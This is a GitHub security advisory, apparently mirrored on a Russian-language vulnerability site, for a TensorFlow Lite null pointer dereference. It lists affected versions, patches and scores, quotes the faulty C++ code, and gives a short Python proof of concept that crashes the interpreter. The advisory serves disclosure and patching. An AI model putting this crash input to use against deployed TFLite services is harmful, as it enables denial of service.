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GHSA-vcjj-9vg7-vf68

Опубликовано: 25 авг. 2021
Источник: github
Github: Прошло ревью
CVSS4: 8.5
CVSS3: 7.8

Описание

Null pointer dereference in TFLite

Impact

An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:

import tensorflow as tf model = tf.keras.models.Sequential() model.add(tf.keras.Input(shape=(1, 2, 3))) model.add(tf.keras.layers.Dense(0, activation='relu')) converter = tf.lite.TFLiteConverter.from_keras_model(model) tflite_model = converter.convert() interpreter = tf.lite.Interpreter(model_content=tflite_model) interpreter.allocate_tensors() interpreter.invoke()

The implementation unconditionally dereferences a pointer.

if (y4 > 1) { // ... } else { for (int i0 = 0; i0 < y0; ++i0) { const T* input2_data_ptr = nullptr; for (int i1 = 0; i1 < y1; ++i1) { input2_data_ptr = input2_data_reset; for (int i2 = 0; i2 < y2; ++i2) { scalar_broadcast_f(y3, params, *input1_data_ptr, input2_data_ptr, output_data_ptr); } } } }

Patches

We have patched the issue in GitHub commit 15691e456c7dc9bd6be203b09765b063bf4a380c.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang of Baidu Security.

Пакеты

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

< 2.3.4

2.3.4

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.3

2.4.3

Наименование

tensorflow

pip
Затронутые версииВерсия исправления

= 2.5.0

2.5.1

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

= 2.5.0

2.5.1

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.3

2.4.3

Наименование

tensorflow-cpu

pip
Затронутые версииВерсия исправления

< 2.3.4

2.3.4

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

< 2.3.4

2.3.4

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.3

2.4.3

Наименование

tensorflow-gpu

pip
Затронутые версииВерсия исправления

= 2.5.0

2.5.1

EPSS

Процентиль: 2%
0.00013
Низкий

8.5 High

CVSS4

7.8 High

CVSS3

Дефекты

CWE-476

Связанные уязвимости

CVSS3: 7.8
nvd
больше 4 лет назад

TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service. The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L268-L285) unconditionally dereferences a pointer. We have patched the issue in GitHub commit 15691e456c7dc9bd6be203b09765b063bf4a380c. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

CVSS3: 7.8
debian
больше 4 лет назад

TensorFlow is an end-to-end open source platform for machine learning. ...

suse-cvrf
больше 3 лет назад

Security update for tensorflow2

EPSS

Процентиль: 2%
0.00013
Низкий

8.5 High

CVSS4

7.8 High

CVSS3

Дефекты

CWE-476